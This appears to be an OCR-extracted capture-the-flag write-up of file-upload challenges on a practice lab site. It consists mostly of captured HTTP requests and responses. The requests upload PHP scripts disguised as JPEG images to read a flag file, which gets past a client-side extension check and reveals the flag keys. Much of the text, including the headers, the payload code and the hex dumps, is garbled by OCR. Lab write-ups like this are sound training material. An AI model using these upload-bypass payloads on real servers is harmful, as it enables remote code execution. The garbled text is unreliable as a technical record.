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Request Response
J RawT Params I Headers I Hex ] J Raw T Headers I Hex ]
Host: lab1 xseclab.com | A& HTTRM A 200 OK
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWE4: rv:59.0) Geckor/20100101 Firefox/39.0 Server: nginx
Accept: textihtml applicationfhtml+xml applicationimlg=0.9 **g=0.8 Date: Thu, 22 Mar 2018 02:13:05 GMT
Accept-Language: zh-CH zh;g=0.8 zh-TW.g=07 zh-HK;g=0.5 en-US;g=0.3 en;g=0.2 Content-Type: texthtml, charset=utf-8
Referer: bitp:iabd xseclab comiupload! _addafE39011166fd3Ef386f0980182af/ Connection: close
Cortent-Type: muttipart form-data; boundary=-----------cemeeeeee - 41184676334 “ia: 1528
Content-Length: 430 Corntent-Length: 21
Cookie: PHPSESSID=
Connection: close key is IKHJLOT864%%&

Upgrade-Insecure-Requests: 1

41184676334
Content-Disposition: form-data; name="file"; filenams="1 .phpl
Content-Type: imageipeg

<script language="PHP">
Fth=fopen”. flag." strtolower("PHP") 'r');

echo fread(Fth filesize(" Mlag." striclower"PHP")));
felose($fh);
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Go Cancel < v > | Target: http:ilab1.xseclab.col
lequest Response
Raw I Params I Headers I Hex 1 J Raw T Headers I Hex ]

A HTTP# 1 200 OK

4 68 3a 20 63 6c 6f T3 65 0d 0a 55 70 &7 72 61 64 n closeUpgrad - Server: nginx
5 65 2d 49 6e 73 65 63 75 72 65 2d 52 65 71 75 65 ednsecureRegue Date: Thu, 22 Mar 2018 02:25:25 GMT
B T3 T4 T3 3a 20 31 0d ODa 0d 0a 2d 2d 2d 2d 2d 2d =iz 1———W Corntent-Type: textihtml, charset=utf-8
i 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Connection: close
B 2d 2d 2d 2d 2d 2d 2d M M M 3B 34 3B 3T 3B 33 —411346763 Wia 1565
3 33 34 0d Oa 43 6f 6Be T4 65 68 74 2d 44 63 73 7O 34Content-Disp Contert-Length: 26
a 6f 73 69 74 69 6Bf 6Be 3a 20 88 &f 72 6d 2d 64 81 osition: form-da A A A
B 74 61 3b 20 Be 61 6d 85 3 22 66 89 Bc 65 22 3b  ta name="file” key is T6tyuhjsduytig#$?:*&
C 20 65 69 6c 65 6 61 od 65 3d 22 31 2 TO &3 TO filename="1.php
d m 2e 6a T0 67 22 0d Oa 43 6f 6Gs T4 65 62 T4 2d _jpg"Content-
e 54 79 70O 85 3a 20 B9 &d 81 67 865 2f 8a 70 85 &7 Type imagefpeg
f 0d Oa Od 0Oa 3c 73 B3 72 8% 70 T4 20 6Bc 61 Be 87 =scriptlang
1] 75 61 67 65 3d 22 50 43 50 22 3¢ 0d 0a 24 65 68 uage="PHP"=5fh
1 3d 66 6&f TF0 65 6Ge 28 22 2e 28 2f 66 6c 61 67 2e =fopen(”.fflag. T
2 22 2e T3 T4 T2 T4 8Bf 6Bc gf 77 65 T2 23 22 S50 48 "striclower("PH
3 50 22 29 2c 27 72 27T 29 3b 0d 0Oa 65 63 68 6f 20 P")'T)echo
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1 function check(){

2 var filename=document.getElementById("file");
3 var str=filename.value.split(".");

4 var ext=str[1];

5 if(ext==="3jpg"'){

6 return true;

7 }else{

8 alert("E LE—TKIPGIERRMEA! ");

9 return false;

10 }

11
12 }

return false;
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Request
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Response

(e resors [ ex

'OST lupload3_67275a14c1 f2dbeladdedfdT5e2dase jupload _file php HTTRA 1

fost: lab1 xseclab .com

lzer-Agent: Mozillafs 0 (Windows NT &.1; WOWE4; rv:59.0) Gecko/20100101 Firefox/59.0
sccept: text/html applicationfHtrml+xml application/xmlg=0.9 */*g=08
sccept-Language: zh-CH zhg=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-U5;g=0 3 en;g=0 2
teferer: hitpailab1 xseclab comiupload3_&67275al 4c1 f2dbeladdedfd7Se2dase 1/
sontent-Type: multipartform-data; boundary=-----e-em-emmemcememceeee 114782935526962
sontent-Length: 446

rookie: PHPSESSID=f

‘onnection: close

Jpgrade-Insecure-Requests: 1

--114782935826562
sontent-Disposition: form-data; name="file"; filename="1 jpg.php"
sontent-Type: imagelpeg

‘script language="PHP"=
ifh=fopen. flaa." striclower™PHP" ).

HTTPH .1 200 OK

Server: nginx

Date: Thu, 22 Mar 2018 03:00:23 GMT
Cortent-Type: texthitml;, charset=wutf-8
Connection: close

Wia: 15966

Content-Length: 27

key is Tétyuh120KKytig&$ &



3T https://www.cnblogs.con/RagdOll/p/8622306.html



	网络安全实验室_上传关writeup

